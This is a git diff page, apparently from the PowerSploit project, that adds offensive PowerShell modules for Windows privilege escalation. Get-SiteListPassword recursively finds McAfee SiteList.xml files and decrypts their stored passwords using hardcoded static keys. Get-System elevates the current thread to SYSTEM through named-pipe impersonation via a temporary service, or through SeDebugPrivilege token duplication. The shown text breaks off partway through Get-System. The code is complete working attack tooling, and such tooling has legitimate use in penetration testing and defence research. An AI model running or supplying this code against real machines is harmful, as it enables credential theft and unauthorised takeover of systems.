aboutsummaryrefslogtreecommitdiff
path: root/Privesc
diff options
context:
space:
mode:
Diffstat (limited to 'Privesc')
-rw-r--r--Privesc/Get-SiteListPassword.ps1178
-rw-r--r--Privesc/Get-System.ps1590
-rw-r--r--Privesc/PowerUp.ps1125
-rw-r--r--Privesc/Privesc.psd130
4 files changed, 851 insertions, 72 deletions
diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1
new file mode 100644
index 0000000..f631872
--- /dev/null
+++ b/Privesc/Get-SiteListPassword.ps1
@@ -0,0 +1,178 @@
+function Get-SiteListPassword {
+<#
+ .SYNOPSIS
+
+ Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
+ Based on Jerome Nokin (@funoverip)'s Python solution (in links).
+
+ PowerSploit Function: Get-SiteListPassword
+ Original Author: Jerome Nokin (@funoverip)
+ PowerShell Port: @harmj0y
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+ .PARAMETER SiteListFilePath
+
+ Optional path to a SiteList.xml file.
+
+ .EXAMPLE
+
+ PS C:\> Get-SiteListPassword
+
+ EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+ UserName :
+ Path : Products/CommonUpdater
+ Name : McAfeeHttp
+ DecPassword : MyStrongPassword!
+ Enabled : 1
+ DomainName :
+ Server : update.nai.com:80
+
+ EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+ UserName : McAfeeService
+ Path : Repository$
+ Name : Paris
+ DecPassword : MyStrongPassword!
+ Enabled : 1
+ DomainName : companydomain
+ Server : paris001
+
+ EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+ UserName : McAfeeService
+ Path : Repository$
+ Name : Tokyo
+ DecPassword : MyStrongPassword!
+ Enabled : 1
+ DomainName : companydomain
+ Server : tokyo000
+
+ .LINK
+ https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
+ https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
+ https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
+#>
+
+ [CmdletBinding()]
+ param(
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $SiteListFilePath
+ )
+
+ function Get-DecryptedSitelistPassword {
+ # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
+ # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
+ # port by @harmj0y
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory = $True)]
+ [String]
+ $B64Pass
+ )
+
+ # make sure the appropriate assemblies are loaded
+ Add-Type -assembly System.Security
+ Add-Type -assembly System.Core
+
+ # declare the encoding/crypto providers we need
+ $Encoding = [System.Text.Encoding]::ASCII
+ $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
+ $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
+
+ # static McAfee key XOR key LOL
+ $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
+
+ # xor the input b64 string with the static XOR key
+ $I = 0;
+ $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }
+
+ # build the static McAfee 3DES key TROLOL
+ $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4
+
+ # set the options we need
+ $3DES.Mode = 'ECB'
+ $3DES.Padding = 'None'
+ $3DES.Key = $3DESKey
+
+ # decrypt the unXor'ed block
+ $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length)
+
+ # ignore the padding for the result
+ $Index = [Array]::IndexOf($Decrypted, [Byte]0)
+ if($Index -ne -1) {
+ $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)])
+ }
+ else {
+ $DecryptedPass = $Encoding.GetString($Decrypted)
+ }
+
+ New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass}
+ }
+
+ function Get-SitelistFields {
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory = $True)]
+ [String]
+ $Path
+ )
+
+ try {
+ [Xml]$SiteListXml = Get-Content -Path $Path
+
+ if($SiteListXml.InnerXml -Like "*password*") {
+ Write-Verbose "Potential password in found in $Path"
+
+ $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object {
+ try {
+ $PasswordRaw = $_.Password.'#Text'
+
+ if($_.Password.Encrypted -eq 1) {
+ # decrypt the base64 password if it's marked as encrypted
+ $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''}
+ }
+ else {
+ $DecPassword = $PasswordRaw
+ }
+
+ $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server }
+ $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath }
+
+ $ObjectProperties = @{
+ 'Name' = $_.Name;
+ 'Enabled' = $_.Enabled;
+ 'Server' = $Server;
+ 'Path' = $Path;
+ 'DomainName' = $_.DomainName;
+ 'UserName' = $_.UserName;
+ 'EncPassword' = $PasswordRaw;
+ 'DecPassword' = $DecPassword;
+ }
+ New-Object -TypeName PSObject -Property $ObjectProperties
+ }
+ catch {
+ Write-Debug "Error parsing node : $_"
+ }
+ }
+ }
+ }
+ catch {
+ Write-Error $_
+ }
+ }
+
+ if($SiteListFilePath) {
+ $XmlFiles = Get-ChildItem -Path $SiteListFilePath
+ }
+ else {
+ $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object {
+ Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue
+ }
+ }
+
+ $XmlFiles | Where-Object { $_ } | Foreach-Object {
+ Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'"
+ Get-SitelistFields -Path $_.Fullname
+ }
+}
diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1
new file mode 100644
index 0000000..32d4399
--- /dev/null
+++ b/Privesc/Get-System.ps1
@@ -0,0 +1,590 @@
+function Get-System {
+<#
+ .SYNOPSIS
+
+ GetSystem functionality inspired by Meterpreter's getsystem.
+ 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
+ a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
+ NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
+ token duplication works correctly.
+
+ PowerSploit Function: Get-System
+ Author: @harmj0y, @mattifestation
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+ .PARAMETER Technique
+
+ The technique to use, 'NamedPipe' or 'Token'.
+
+ .PARAMETER ServiceName
+
+ The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
+
+ .PARAMETER PipeName
+
+ The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
+
+ .PARAMETER RevToSelf
+
+ Reverts the current thread privileges.
+
+ .PARAMETER WhoAmI
+
+ Switch. Display the credentials for the current PowerShell thread.
+
+ .EXAMPLE
+
+ PS> Get-System
+
+ Uses named impersonate to elevate the current thread token to SYSTEM.
+
+ .EXAMPLE
+
+ PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
+
+ Uses named impersonate to elevate the current thread token to SYSTEM
+ with a custom service and pipe name.
+
+ .EXAMPLE
+
+ PS> Get-System -Technique Token
+
+ Uses token duplication to elevate the current thread token to SYSTEM.
+
+ .EXAMPLE
+
+ PS> Get-System -WhoAmI
+
+ Displays the credentials for the current thread.
+
+ .EXAMPLE
+
+ PS> Get-System -RevToSelf
+
+ Reverts the current thread privileges.
+
+ .LINK
+
+ https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
+ https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
+ http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
+ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
+#>
+ [CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
+ param(
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [Parameter(ParameterSetName = "Token")]
+ [String]
+ [ValidateSet("NamedPipe", "Token")]
+ $Technique = 'NamedPipe',
+
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [String]
+ $ServiceName = 'TestSVC',
+
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [String]
+ $PipeName = 'TestSVC',
+
+ [Parameter(ParameterSetName = "RevToSelf")]
+ [Switch]
+ $RevToSelf,
+
+ [Parameter(ParameterSetName = "WhoAmI")]
+ [Switch]
+ $WhoAmI
+ )
+
+ $ErrorActionPreference = "Stop"
+
+ # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ function Local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ # performs named pipe impersonation to elevate to SYSTEM without needing
+ # SeDebugPrivilege
+ function Local:Get-SystemNamedPipe {
+ param(
+ [String]
+ $ServiceName = "TestSVC",
+
+ [String]
+ $PipeName = "TestSVC"
+ )
+
+ $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
+
+ # create the named pipe used for impersonation and set appropriate permissions
+ $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
+ $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
+ $PipeSecurity.AddAccessRule($AccessRule)
+ $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
+
+ $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
+
+ # Declare/setup all the needed API function
+ # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
+ $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
+ $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
+
+ $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
+ $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
+ $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
+
+ $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
+ $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
+ $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
+
+ $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
+ $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
+ $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
+
+ $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
+ $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
+ $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
+
+ $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
+ $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
+ $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
+
+ $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
+ $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
+ $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
+
+ $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
+ $GetLastErrorDelegate = Get-DelegateType @() ([Int])
+ $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
+
+ # Step 1 - OpenSCManager()
+ # 0xF003F = SC_MANAGER_ALL_ACCESS
+ # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+ Write-Verbose "Opening service manager"
+ $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F)
+ Write-Verbose "Service manager handle: $ManagerHandle"
+
+ # if we get a non-zero handle back, everything was successful
+ if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
+
+ # Step 2 - CreateService()
+ # 0xF003F = SC_MANAGER_ALL_ACCESS
+ # 0x10 = SERVICE_WIN32_OWN_PROCESS
+ # 0x3 = SERVICE_DEMAND_START
+ # 0x1 = SERVICE_ERROR_NORMAL
+ Write-Verbose "Creating new service: '$ServiceName'"
+ try {
+ $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
+ $err = $GetLastError.Invoke()
+ }
+ catch {
+ Write-Warning "Error creating service : $_"
+ $ServiceHandle = 0
+ }
+ Write-Verbose "CreateServiceA Handle: $ServiceHandle"
+
+ if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
+ $Success = $True
+ Write-Verbose "Service successfully created"
+
+ # Step 3 - CloseServiceHandle() for the service handle
+ Write-Verbose "Closing service handle"
+ $Null = $CloseServiceHandle.Invoke($ServiceHandle)
+
+ # Step 4 - OpenService()
+ Write-Verbose "Opening the service '$ServiceName'"
+ $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
+ Write-Verbose "OpenServiceA handle: $ServiceHandle"
+
+ if ($ServiceHandle -and ($ServiceHandle -ne 0)){
+
+ # Step 5 - StartService()
+ Write-Verbose "Starting the service"
+ $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
+ $err = $GetLastError.Invoke()
+
+ # if we successfully started the service, let it breathe and then delete it
+ if ($val -ne 0){
+ Write-Verbose "Service successfully started"
+ # breathe for a second
+ Start-Sleep -s 1
+ }
+ else{
+ if ($err -eq 1053){
+ Write-Verbose "Command didn't respond to start"
+ }
+ else{
+ Write-Warning "StartService failed, LastError: $err"
+ }
+ # breathe for a second
+ Start-Sleep -s 1
+ }
+
+ # start cleanup
+ # Step 6 - DeleteService()
+ Write-Verbose "Deleting the service '$ServiceName'"
+ $val = $DeleteService.invoke($ServiceHandle)
+ $err = $GetLastError.Invoke()
+
+ if ($val -eq 0){
+ Write-Warning "DeleteService failed, LastError: $err"
+ }
+ else{
+ Write-Verbose "Service successfully deleted"
+ }
+
+ # Step 7 - CloseServiceHandle() for the service handle
+ Write-Verbose "Closing the service handle"
+ $val = $CloseServiceHandle.Invoke($ServiceHandle)
+ Write-Verbose "Service handle closed off"
+ }
+ else {
+ Write-Warning "[!] OpenServiceA failed, LastError: $err"
+ }
+ }
+
+ else {
+ Write-Warning "[!] CreateService failed, LastError: $err"
+ }
+
+ # final cleanup - close off the manager handle
+ Write-Verbose "Closing the manager handle"
+ $Null = $CloseServiceHandle.Invoke($ManagerHandle)
+ }
+ else {
+ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
+ Write-Warning "[!] OpenSCManager failed, LastError: $err"
+ }
+
+ if($Success) {
+ Write-Verbose "Waiting for pipe connection"
+ $Pipe.WaitForConnection()
+
+ $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
+
+ $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
+ Write-Verbose "ImpersonateNamedPipeClient: $Out"
+ }
+
+ # clocse off the named pipe
+ $Pipe.Dispose()
+ }
+
+ # performs token duplication to elevate to SYSTEM
+ # needs SeDebugPrivilege
+ # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
+ Function Local:Get-SystemToken {
+ [CmdletBinding()] param()
+
+ $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
+ $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+
+ $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
+ $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
+ $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
+ $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
+ $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
+
+ $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
+ $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
+ $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
+ $LuidStruct = $LuidTypeBuilder.CreateType()
+
+ $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
+ $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
+ $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
+ $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
+
+ $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
+ $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
+ $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
+
+ $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
+ $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
+ $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
+ $PrivilegesField.SetCustomAttribute($AttribBuilder)
+ $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
+
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
+ ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
+ 'advapi32.dll',
+ @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
+ @([Bool] $True)
+ )
+
+ $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
+ ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
+ 'kernel32.dll',
+ @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
+ @([Bool] $True)
+ )
+
+ $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'OpenProcess',
+ 'kernel32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [IntPtr],
+ @([UInt32], [Bool], [UInt32]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder2)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'CloseHandle',
+ 'kernel32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder2)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'DuplicateToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [Int32], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'SetThreadToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'OpenProcessToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'LookupPrivilegeValue',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([String], [String], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'AdjustTokenPrivileges',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32Methods = $Win32TypeBuilder.CreateType()
+
+ $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'}
+ $GetCurrentProcess = $Win32Native.GetMethod(
+ 'GetCurrentProcess',
+ [Reflection.BindingFlags] 'NonPublic, Static'
+ )
+
+ $SE_PRIVILEGE_ENABLED = 0x00000002
+ $STANDARD_RIGHTS_REQUIRED = 0x000F0000
+ $STANDARD_RIGHTS_READ = 0x00020000
+ $TOKEN_ASSIGN_PRIMARY = 0x00000001
+ $TOKEN_DUPLICATE = 0x00000002
+ $TOKEN_IMPERSONATE = 0x00000004
+ $TOKEN_QUERY = 0x00000008
+ $TOKEN_QUERY_SOURCE = 0x00000010
+ $TOKEN_ADJUST_PRIVILEGES = 0x00000020
+ $TOKEN_ADJUST_GROUPS = 0x00000040
+ $TOKEN_ADJUST_DEFAULT = 0x00000080
+ $TOKEN_ADJUST_SESSIONID = 0x00000100
+ $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
+ $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
+ $TOKEN_ASSIGN_PRIMARY -bor
+ $TOKEN_DUPLICATE -bor
+ $TOKEN_IMPERSONATE -bor
+ $TOKEN_QUERY -bor
+ $TOKEN_QUERY_SOURCE -bor
+ $TOKEN_ADJUST_PRIVILEGES -bor
+ $TOKEN_ADJUST_GROUPS -bor
+ $TOKEN_ADJUST_DEFAULT -bor
+ $TOKEN_ADJUST_SESSIONID
+
+ [long]$Luid = 0
+
+ $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
+ $tokPriv1Luid.Count = 1
+ $tokPriv1Luid.Luid = $Luid
+ $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
+
+ $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
+
+ $htoken = [IntPtr]::Zero
+ $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
+
+ $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
+ $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
+
+ if(-not($RetVal)) {
+ Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
+ }
+
+ $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
+
+ $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
+ try {
+ $OwnerInfo = $_.GetOwner()
+ if ($OwnerInfo.Domain -and $OwnerInfo.User) {
+ $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
+
+ if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
+ $Process = Get-Process -Id $_.ProcessId
+
+ $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
+ if ($Handle) {
+ $Handle
+ }
+ }
+ }
+ }
+ catch {}
+ } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1
+
+ if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
+ Write-Error 'Unable to obtain a handle to a system process.'
+ }
+ else {
+ [IntPtr]$SystemToken = [IntPtr]::Zero
+ $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ Write-Verbose "OpenProcessToken result: $RetVal"
+ Write-Verbose "OpenProcessToken result: $LastError"
+
+ [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
+ $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ Write-Verbose "DuplicateToken result: $LastError"
+
+ $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ if(-not($RetVal)) {
+ Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
+ }
+
+ Write-Verbose "SetThreadToken result: $LastError"
+ $null = $Win32Methods::CloseHandle($Handle)
+ }
+ }
+
+ if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
